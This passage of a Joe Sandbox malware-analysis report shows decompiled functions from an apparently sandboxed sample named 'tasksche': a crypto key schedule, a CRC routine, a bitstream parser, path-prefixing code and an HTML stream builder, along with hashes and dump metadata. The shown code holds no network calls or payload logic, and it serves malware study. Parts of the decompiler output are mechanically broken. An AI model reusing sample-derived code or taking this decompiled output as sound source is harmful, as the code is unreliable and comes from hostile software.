0x0040c894
0x0040c89a
0x0040c8a0
0x0040c8bb
0x0040c8ef
0x0040c8bd
0x0040c8eb
0x0040c8eb
0x0040c8f4
0x0040c8fc
0x0040c913
0x0040c8fe
0x0040c909
0x0040c909
0x0040c915
0x0040c91a
0x0040c91d
0x0040c923
0x0040c929
0x0040c92f
0x0040c935
0x0040c93b
0x0040c941
0x0040c947
0x0040c94f
0x0040c963
0x0040c951
0x0040c959
0x0040c959
0x0040c965
0x0040c96b
0x0040c971
0x0040c977
0x0040c97d
0x0040c983
0x0040c989
0x0040c98f
0x0040c997
0x0040c9ab
0x0040c999
0x0040c9a1
0x0040c9a1
0x0040c9ad
0x0040c9b3
0x0040c9b9
0x0040c9bf
0x0040c9c5
0x0040c9cb
0x0040c9d1
0x0040c9d7
0x0040c9df
0x0040c9f3
0x0040c9e1
0x0040c9e9
0x0040c9e9
0x0040c9f5
0x0040c9ff
0x0040ca05
0x0040ca0b
0x0040ca11
0x0040ca17
0x0040ca1d
0x0040ca23
0x0040ca29
0x0040ca2f
0x00000000
0x00000000
0x0040ca38
0x0040c7c4
0x0040c7c4
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction ID: cc05d4957c3f93bbff5645bcbd2bf23a73745bdaee5f26767fd414b38deba9ac
Opcode Fuzzy Hash: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction Fuzzy Hash: 7281E35220E2E18EE71AC73C14E96F63FA11F72100B2EA2EEC4CD4F6D7D665051AD729

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4FF Relevance: .2, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C4FF(intOrPtr __ecx, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int* _v12;
				signed char* _v16;
				signed char* _v20;
				signed char* _v24;
				signed char* _v28;
				char _v40;
				signed int _v41;
				signed int _v42;
				signed int _v43;
				signed int _v44;
				signed char _v45;
				signed char _v46;
				signed char _v47;
				signed char _v48;
				char _v56;
				signed int _v57;
				signed int _v58;
				signed int _v59;
				signed int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				signed int _t104;
				signed char _t108;
				signed int _t119;
				signed int* _t135;
				signed int* _t136;
				signed int _t137;
				char* _t138;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t157;

				_t141 = __ecx;
				_v8 = __ecx;
				_t119 =  *((intOrPtr*)(__ecx + 4)) - 6;
				E0041C290(_t119, __ecx, _t147,  &_v60, _a4, 0x20);
				_t102 = 0;
				_t140 = 0;
				_a4 = 0;
				if(_t119 <= 0) {
					L9:
					if(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						_t104 = _t119 << 2;
						_v16 = _t157 + _t104 - 0x3b;
						_v20 = _t157 + _t104 - 0x3a;
						_v24 = _t157 + _t104 - 0x39;
						_v28 = _t157 + _t104 - 0x3c;
						_v12 = 0x4385e0;
						do {
							_t108 = _v60 ^  *(( *_v16 & 0x000000ff) + 0x438700);
							_v60 = _t108;
							_v59 = _v59 ^  *(( *_v20 & 0x000000ff) + 0x438700);
							_v58 = _v58 ^  *(( *_v24 & 0x000000ff) + 0x438700);
							_v57 = _v57 ^  *(( *_v28 & 0x000000ff) + 0x438700);
							_t102 = _t108 ^  *_v12;
							_v12 =  &(_v12[0]);
							_v60 = _t102;
							if(_t119 == 8) {
								_t135 =  &_v56;
								_t142 = 3;
								do {
									_t148 = 4;
									do {
										 *_t135 =  *_t135 ^  *(_t135 - 4);
										_t135 =  &(_t135[0]);
										_t148 = _t148 - 1;
									} while (_t148 != 0);
									_t142 = _t142 - 1;
								} while (_t142 != 0);
								_v44 = _v44 ^  *((_v48 & 0x000000ff) + 0x438700);
								_v43 = _v43 ^  *((_v47 & 0x000000ff) + 0x438700);
								_v42 = _v42 ^  *((_v46 & 0x000000ff) + 0x438700);
								_v41 = _v41 ^  *((_v45 & 0x000000ff) + 0x438700);
								_t136 =  &_v40;
								_t143 = 3;
								do {
									_t149 = 4;
									do {
										_t102 =  *((intOrPtr*)(_t136 - 4));
										 *_t136 =  *_t136 ^ _t102;
										_t136 =  &(_t136[0]);
										_t149 = _t149 - 1;
									} while (_t149 != 0);
									_t143 = _t143 - 1;
								} while (_t143 != 0);
								goto L26;
							} else {
								if(_t119 > 1) {
									_t138 =  &_v56;
									_t145 = _t119 - 1;
									do {
										_t151 = 0;
										do {
											_t102 =  *((intOrPtr*)(_t138 + _t151 - 4));
											 *(_t138 + _t151) =  *(_t138 + _t151) ^ _t102;
											_t151 = _t151 + 1;
										} while (_t151 < 4);
										_t138 = _t138 + 4;
										_t145 = _t145 - 1;
									} while (_t145 != 0);
									L26:
									_t141 = _v8;
								}
							}
							_t137 = 0;
							if(_t119 <= 0) {
								goto L36;
							} else {
								while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
									if(_t137 < _t119) {
										_t102 = _t157 + _t137 * 4 - 0x38;
										while(_a4 < 4) {
											_t137 = _t137 + 1;
											_t102 = _t102 + 4;
											_a4 = _a4 + 1;
											asm("movsd");
											_t141 = _v8;
											if(_t137 < _t119) {
												continue;
											}
											goto L33;
										}
									}
									L33:
									if(_a4 == 4) {
										_t140 = _t140 + 1;
										_a4 = _a4 & 0x00000000;
									}
									if(_t137 < _t119) {
										continue;
									} else {
										goto L36;
									}
									goto L37;
								}
							}
							goto L37;
							L36:
						} while (_t140 <=  *((intOrPtr*)(_t141 + 4)));
					}
				} else {
					while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						if(_t102 < _t119) {
							_t139 = _t157 + _t102 * 4 - 0x38;
							while(_a4 < 4) {
								_t102 = _t102 + 1;
								_t139 = _t139 + 4;
								_a4 = _a4 + 1;
								asm("movsd");
								_t141 = _v8;
								if(_t102 < _t119) {
									continue;
								}
								goto L6;
							}
						}
						L6:
						if(_a4 == 4) {
							_t140 = _t140 + 1;
							_a4 = _a4 & 0x00000000;
						}
						if(_t102 < _t119) {
							continue;
						} else {
							goto L9;
						}
						goto L37;
					}
				}
				L37:
				return _t102;
			}

0x0040c50d
0x0040c516
0x0040c519
0x0040c51c
0x0040c521
0x0040c526
0x0040c52a
0x0040c52d
0x0040c56f
0x0040c572
0x0040c57a
0x0040c581
0x0040c588
0x0040c593
0x0040c596
0x0040c599
0x0040c5a0
0x0040c5a9
0x0040c5b2
0x0040c5be
0x0040c5cd
0x0040c5dc
0x0040c5e2
0x0040c5e4
0x0040c5e7
0x0040c5ed
0x0040c613
0x0040c616
0x0040c617
0x0040c619
0x0040c61a
0x0040c61d
0x0040c61f
0x0040c620
0x0040c620
0x0040c623
0x0040c623
0x0040c630
0x0040c63d
0x0040c64a
0x0040c657
0x0040c65c
0x0040c65f
0x0040c660
0x0040c662
0x0040c663
0x0040c663
0x0040c666
0x0040c668
0x0040c669
0x0040c669
0x0040c66c
0x0040c66c
0x00000000
0x0040c5ef
0x0040c5f2
0x0040c5f4
0x0040c5f7
0x0040c5fa
0x0040c5fa
0x0040c5fc
0x0040c5fc
0x0040c600
0x0040c603
0x0040c604
0x0040c609
0x0040c60c
0x0040c60c
0x0040c66f
0x0040c66f
0x0040c66f
0x0040c5f2
0x0040c672
0x0040c676
0x00000000
0x00000000
0x0040c678
0x0040c67f
0x0040c681
0x0040c685
0x0040c696
0x0040c697
0x0040c69a
0x0040c69f
0x0040c6a0
0x0040c6a3
0x00000000
0x00000000
0x00000000
0x0040c6a3
0x0040c685
0x0040c6a5
0x0040c6a9
0x0040c6ab
0x0040c6ac
0x0040c6ac
0x0040c6b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6b2
0x0040c678
0x00000000
0x0040c6b4
0x0040c6b4
0x0040c5a0
0x00000000
0x0040c52f
0x0040c53a
0x0040c53c
0x0040c540
0x0040c551
0x0040c552
0x0040c555
0x0040c55a
0x0040c55b
0x0040c55e
0x00000000
0x00000000
0x00000000
0x0040c55e
0x0040c540
0x0040c560
0x0040c564
0x0040c566
0x0040c567
0x0040c567
0x0040c56d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c56d
0x0040c52f
0x0040c6c1
0x0040c6c1

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction ID: ff0af43037c4d522a8ee791cbe8e93d8d44487ff0532052a3f1666816209b0e9
Opcode Fuzzy Hash: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction Fuzzy Hash: CF51F874804298AACF11CFA4C4D05FDBFB0EF5A328F6955BFD8857B282C2356646CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041450F Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041450F(void* __ebx, intOrPtr __ecx, signed int* _a4, char _a7, signed int* _a8, signed char _a11) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _t40;
				signed int _t41;
				signed int _t47;
				intOrPtr _t48;
				unsigned int _t49;
				signed int _t53;
				void* _t57;
				void* _t58;
				signed char _t60;
				void* _t64;
				unsigned char _t75;
				intOrPtr _t87;
				signed int* _t91;
				signed int* _t92;
				signed int _t93;
				intOrPtr _t94;

				_t58 = __ebx;
				_t92 = _a4;
				_t91 = _a8;
				_t91[3] = _t91[3] & 0x00000000;
				_v16 = __ecx;
				if(_t92[2] != 0 ||  *_t92 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					_push(_t58);
					E004097BA(_t92,  ~(_t92[1]) & 0x00000007);
					_t60 = E004097D1(_t92) >> 8;
					_a11 = _t60;
					E004097BA(_t92, 8);
					_t40 = _t60 & 0x000000ff;
					_t64 = (_t40 >> 0x00000003 & 0x00000003) + 1;
					if(_t64 == 4) {
						L9:
						_t41 = 0;
						L13:
						return _t41;
					}
					_t10 = _t64 + 2; // 0x3
					_t91[3] = _t10;
					_t91[1] = (_t40 & 0x00000007) + 1;
					_a7 = E004097D1(_t92) >> 8;
					E004097BA(_t92, 8);
					_t47 = 0;
					_v12 = 0;
					if(_t64 <= 0) {
						L8:
						_t75 = _a11;
						 *_t91 = _t47;
						if((_t47 >> 0x00000010 ^ _t47 >> 0x00000008 ^ _t47 ^ _t75 ^ 0x0000005a) == _a7) {
							_t93 =  *_t92;
							_t87 = _t93 + _t47 - 1;
							_t48 = _v16;
							_t91[2] = _t93;
							_t94 =  *((intOrPtr*)(_t48 + 0x7c));
							if(_t94 < _t87) {
								_t87 = _t94;
							}
							 *((intOrPtr*)(_t48 + 0x7c)) = _t87;
							_t41 = 1;
							_t91[4] = _t75 >> 0x00000006 & 0x00000001;
							_t91[4] = _t75 >> 7;
							goto L13;
						}
						goto L9;
					}
					_v8 = 0;
					do {
						_t49 = E004097D1(_t92);
						_v8 = _v8 + 8;
						_v12 = _v12 + (_t49 >> 8 << _v8);
						_t53 = _t92[1] + 8;
						 *_t92 =  *_t92 + (_t53 >> 3);
						_t64 = _t64 - 1;
						_t92[1] = _t53 & 0x00000007;
					} while (_t64 != 0);
					_t47 = _v12;
					goto L8;
				}
				_t57 = E004123EB(__ebx, __ecx);
				if(_t57 != 0) {
					goto L3;
				}
				return _t57;
			}

0x0041450f
0x00414516
0x0041451a
0x0041451d
0x00414525
0x00414528
0x00414541
0x00414546
0x0041454d
0x0041455b
0x00414562
0x00414565
0x0041456a
0x00414575
0x00414579
0x004145f6
0x004145f6
0x00414624
0x00000000
0x00414624
0x0041457b
0x00414581
0x00414587
0x00414596
0x00414599
0x0041459e
0x004145a0
0x004145a5
0x004145d9
0x004145e5
0x004145ef
0x004145f4
0x004145fa
0x004145fc
0x00414600
0x00414603
0x00414606
0x0041460b
0x0041460d
0x0041460d
0x0041460f
0x00414617
0x0041461e
0x00414621
0x00000000
0x00414621
0x00000000
0x004145f4
0x004145a7
0x004145aa
0x004145ac
0x004145b4
0x004145bd
0x004145c3
0x004145cb
0x004145d0
0x004145d1
0x004145d1
0x004145d6
0x00000000
0x004145d6
0x00414534
0x0041453b
0x00000000
0x00000000
0x00414628

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction ID: 1b781f1f23d015917a337ea3c6206954a5313e6084e2437016288461132a8366
Opcode Fuzzy Hash: 51b2d21a1de5244f25583c5063fbcf28c6649e746e5830653507aa8b0461497a
Instruction Fuzzy Hash: EF312372A10605ABCB04DF38C4912DEBBE2EF81308F14812FD865DB782D37DA945CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405610 Relevance: .1, Instructions: 73
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00405610(unsigned int _a4, signed char _a8, unsigned int _a12) {
				signed char _t30;
				signed char _t32;
				signed char _t52;
				signed char _t57;
				unsigned int _t72;

				_t52 = _a8;
				_t30 = _a4;
				_t72 = _a12;
				while(_t72 > 0 && (_t52 & 0x00000007) != 0) {
					_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
					_t72 = _t72 - 1;
					_t52 = _t52 + 1;
				}
				if(_t72 >= 8) {
					_a4 = _t72 >> 3;
					do {
						_t57 =  *(_t52 + 4);
						_t32 = _t30 ^  *_t52;
						_t72 = _t72 - 8;
						_t52 = _t52 + 8;
						_t26 =  &_a4;
						 *_t26 = _a4 - 1;
						_t30 =  *(0x4319a0 + (_t57 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4315a0 + (_t57 >> 0x18) * 4) ^  *(0x431da0 + (_t57 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4325a0 + (_t32 >> 0x18) * 4) ^  *(0x4329a0 + (_t32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x432da0 + (_t32 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4321a0 + (_t57 & 0x000000ff) * 4) ^  *(0x4331a0 + (_t32 & 0x000000ff) * 4);
					} while ( *_t26 != 0);
					L9:
					while(_t72 > 0) {
						_t30 = _t30 >> 0x00000008 ^  *(0x4315a0 + ( *_t52 & 0x000000ff ^ _t30 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
						_t52 = _t52 + 1;
					}
					return _t30;
				}
				goto L9;
			}

0x00405613
0x00405616
0x0040561a
0x0040561e
0x00405632
0x00405639
0x0040563a
0x0040563a
0x00405640
0x0040564b
0x0040564f
0x0040564f
0x00405652
0x004056bc
0x004056bf
0x004056c2
0x004056c2
0x004056c5
0x004056c5
0x00000000
0x004056e0
0x004056d7
0x004056de
0x004056df
0x004056df
0x004056e7
0x004056e7
0x00000000

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction ID: 2ccb413243c8e3f3810094ea986113c02d7a387cc67c693c5ca68079d889c8bb
Opcode Fuzzy Hash: 866ee34adc6fec30ee19582cd252525266032b464ccb2f20f1e66a817629a287
Instruction Fuzzy Hash: 2821D872A106716BD7048F65EC8412733A2D7CA3617DB4237DF445B3B1D135B922CAE8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3DC Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3DC(signed short* _a4, intOrPtr _a8, intOrPtr _a12) {
				short _v4100;
				signed short* _t26;
				long _t28;
				signed short* _t29;
				void* _t35;
				signed short* _t49;
				void* _t58;
				signed short* _t75;
				signed short* _t76;

				E0041AAF0(0x1000);
				_t75 = _a4;
				if( *_t75 != 0) {
					E0040A0EA(_t75);
					_t58 = E0041A7AF(_t75);
					_t26 = E0040A2F5(_t75);
					__eflags = _t26;
					if(_t26 == 0) {
						_t28 = GetCurrentDirectoryW(0x7ff,  &_v4100);
						__eflags = _t28;
						if(_t28 == 0) {
							L21:
							_t29 = 0;
							__eflags = 0;
							L22:
							return _t29;
						}
						__eflags = _t28 - 0x7ff;
						if(_t28 > 0x7ff) {
							goto L21;
						}
						__eflags = E0040A0C5( *_t75 & 0x0000ffff);
						if(__eflags == 0) {
							E0040A116(__eflags,  &_v4100, 0x800);
							_t35 = E0041A7AF( &_v4100);
							__eflags = _a12 - _t35 + _t58 + 4;
							if(_a12 <= _t35 + _t58 + 4) {
								goto L21;
							}
							_t68 = _a8;
							E0041C853(_a8, L"\\\\?\\", 4);
							E0041A7F7(_t68 + 8,  &_v4100);
							__eflags =  *_t75 - 0x2e;
							if(__eflags == 0) {
								__eflags = E0040A0C5(_t75[1] & 0x0000ffff);
								if(__eflags != 0) {
									__eflags = _t75;
								}
							}
							E00410BC9(__eflags, _t68, _t75, _a12);
							L20:
							_t29 = 1;
							goto L22;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t69 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041C853(_t69 + 8,  &_v4100, 2);
						E0041A7F7(_t69 + 0xc, _t75);
						goto L20;
					}
					_t49 = E0040A0EA(_t75);
					__eflags = _t49;
					if(_t49 == 0) {
						__eflags =  *_t75 - 0x5c;
						if( *_t75 != 0x5c) {
							goto L21;
						}
						_t76 =  &(_t75[1]);
						__eflags =  *_t76 - 0x5c;
						if( *_t76 != 0x5c) {
							goto L21;
						}
						__eflags = _a12 - _t58 + 6;
						if(_a12 <= _t58 + 6) {
							goto L21;
						}
						_t71 = _a8;
						E0041C853(_a8, L"\\\\?\\", 4);
						E0041A7F7(_t71 + 8, L"UNC");
						E0041A7F7(_t71 + 0xe, _t76);
						goto L20;
					}
					__eflags = _a12 - _t58 + 4;
					if(_a12 <= _t58 + 4) {
						goto L21;
					}
					_t73 = _a8;
					E0041C853(_a8, L"\\\\?\\", 4);
					E0041A7F7(_t73 + 8, _t75);
					goto L20;
				}
				return 0;
			}

0x0040a3e4
0x0040a3ea
0x0040a3f1
0x0040a3fd
0x0040a40a
0x0040a40c
0x0040a411
0x0040a413
0x0040a4b1
0x0040a4b7
0x0040a4b9
0x0040a580
0x0040a580
0x0040a580
0x0040a582
0x00000000
0x0040a583
0x0040a4bf
0x0040a4c1
0x00000000
0x00000000
0x0040a4d0
0x0040a4d2
0x0040a51d
0x0040a529
0x0040a533
0x0040a536
0x00000000
0x00000000
0x0040a538
0x0040a543
0x0040a553
0x0040a55b
0x0040a55f
0x0040a56b
0x0040a56d
0x0040a56f
0x0040a56f
0x0040a56d
0x0040a577
0x0040a57c
0x0040a57c
0x00000000
0x0040a57c
0x0040a4d7
0x0040a4da
0x00000000
0x00000000
0x0040a4e0
0x0040a4eb
0x0040a4fd
0x0040a507
0x00000000
0x0040a50c
0x0040a41a
0x0040a41f
0x0040a421
0x0040a451
0x0040a455
0x00000000
0x00000000
0x0040a45b
0x0040a45e
0x0040a462
0x00000000
0x00000000
0x0040a46b
0x0040a46e
0x00000000
0x00000000
0x0040a474
0x0040a47f
0x0040a48d
0x0040a497
0x00000000
0x0040a49c
0x0040a426
0x0040a429
0x00000000
0x00000000
0x0040a42f
0x0040a43a
0x0040a444
0x00000000
0x0040a449
0x00000000

APIs

_wcslen.LIBCMT ref: 0040A403
_wcsncpy.LIBCMT ref: 0040A43A
_wcscpy.LIBCMT ref: 0040A444

Strings

UNC, xrefs: 0040A487
\\?\, xrefs: 0040A434, 0040A479, 0040A4E5, 0040A53D

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction ID: cd13f9bd72fca169d524aa050727d65a10ef4dcd9f377a8cbe6755f4863ba3db
Opcode Fuzzy Hash: 2abde0defb8e8217f0e08e38dadbd9202aa69e0edf90a9fc0407522747aefdaa
Instruction Fuzzy Hash: 7441AF7294131476DB20AA618C82AEB33687F55748F04442FF954732C2E7BCD6A586AB

Uniqueness

Uniqueness Score: -1.00%

Function 00419779 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419779(void* __ebx, intOrPtr __ecx, short* _a4, char _a7) {
				short* _v8;
				signed int _v12;
				intOrPtr _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t26;
				short* _t30;
				signed int _t34;
				signed int _t41;
				int _t42;
				void* _t50;
				char* _t51;
				void* _t66;
				void* _t67;
				short* _t68;
				short* _t71;
				int _t75;

				_v16 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					return _t26;
				}
				_v12 = _v12 & 0x00000000;
				_t71 = _a4;
				_push(_t67);
				_a7 = E004191A2(_t71);
				_t30 = E0041CF3E(__ebx, _t66, _t67, E0041A7AF(_t71) + _t28 + 0x200);
				_t68 = _t30;
				if(_t68 == 0) {
					L16:
					return _t30;
				}
				_push(__ebx);
				_t47 = L"<html>";
				E0041A7F7(_t68, L"<html>");
				E0041A7C9(_t68, L"<head><meta http-equiv=\"content-type\" content=\"text/html; charset=");
				E0041A7C9(_t68, L"utf-8\"></head>");
				_v8 = _t71;
				if( *_t71 != 0x20) {
					L4:
					_t34 = E00411E81(_t82, _v8, _t47, 6);
					asm("sbb bl, bl");
					_t50 =  ~_t34 + 1;
					if(_t50 != 0) {
						_t71 = _v8 + 0xc;
					}
					E0041A7C9(_t68, _t71);
					if(_t50 == 0) {
						E0041A7C9(_t68, L"</html>");
					}
					_t86 = _a7;
					if(_a7 == 0) {
						_t68 = E004191D8(_t50, _t86, _t68);
					}
					_t75 = 9 + E0041A7AF(_t68) * 6;
					_t51 = GlobalAlloc(0x40, _t75);
					if(_t51 != 0) {
						_t75 = _t75 + 0xfffffffd;
						_t17 = _t51 + 3; // 0x3
						_t42 = WideCharToMultiByte(0xfde9, 0, _t68, 0xffffffff, _t17, _t75, 0, 0);
						_t88 = _t42;
						if(_t42 == 0) {
							 *_t51 = 0;
						} else {
							 *_t51 = 0xef;
							 *((char*)(_t51 + 1)) = 0xbb;
							 *((char*)(_t51 + 2)) = 0xbf;
						}
					}
					E0041A506(_t51, _t68, _t75, _t88);
					_t30 =  &_v12;
					__imp__CreateStreamOnHGlobal(_t51, 1, _t30, _t68);
					if(_t30 >= 0) {
						E0041963B(_v16,  *((intOrPtr*)(_v16 + 0x10)), _v12);
						_t41 = _v12;
						_t30 =  *((intOrPtr*)( *_t41 + 8))(_t41);
					}
					goto L16;
				} else {
					goto L3;
				}
				do {
					L3:
					_v8 = _v8 + 2;
					_t82 =  *_v8 - 0x20;
				} while ( *_v8 == 0x20);
				goto L4;
			}

0x00419783
0x00419786
0x004198bf
0x004198bf
0x0041978c
0x00419791
0x00419794
0x0041979c
0x004197ac
0x004197b1
0x004197b7
0x004198bc
0x00000000
0x004198bd
0x004197bd
0x004197be
0x004197c5
0x004197d0
0x004197db
0x004197e7
0x004197ea
0x004197f9
0x004197ff
0x00419808
0x0041980a
0x0041980c
0x00419811
0x00419811
0x00419816
0x0041981f
0x00419827
0x0041982d
0x0041982e
0x00419832
0x0041983d
0x0041983d
0x0041984b
0x00419857
0x0041985d
0x00419861
0x00419865
0x00419872
0x00419878
0x0041987a
0x00419889
0x0041987c
0x0041987c
0x0041987f
0x00419883
0x00419883
0x0041987a
0x0041988d
0x00419893
0x0041989a
0x004198a3
0x004198ae
0x004198b3
0x004198b9
0x004198b9
0x00000000
0x00000000
0x00000000
0x00000000
0x004197ec
0x004197ec
0x004197ec
0x004197f3
0x004197f3
0x00000000

APIs

_wcslen.LIBCMT ref: 0041979F
_malloc.LIBCMT ref: 004197AC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 004197C5
_wcscat.LIBCMT ref: 004197D0
_wcscat.LIBCMT ref: 004197DB
_wcscat.LIBCMT ref: 00419816
_wcscat.LIBCMT ref: 00419827
_wcslen.LIBCMT ref: 00419840
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 00419851
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 00419872
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041989A

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 004197CA
utf-8"></head>, xrefs: 004197D5
</html>, xrefs: 00419821
<html>, xrefs: 004197BE, 004197C3, 004197FB

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
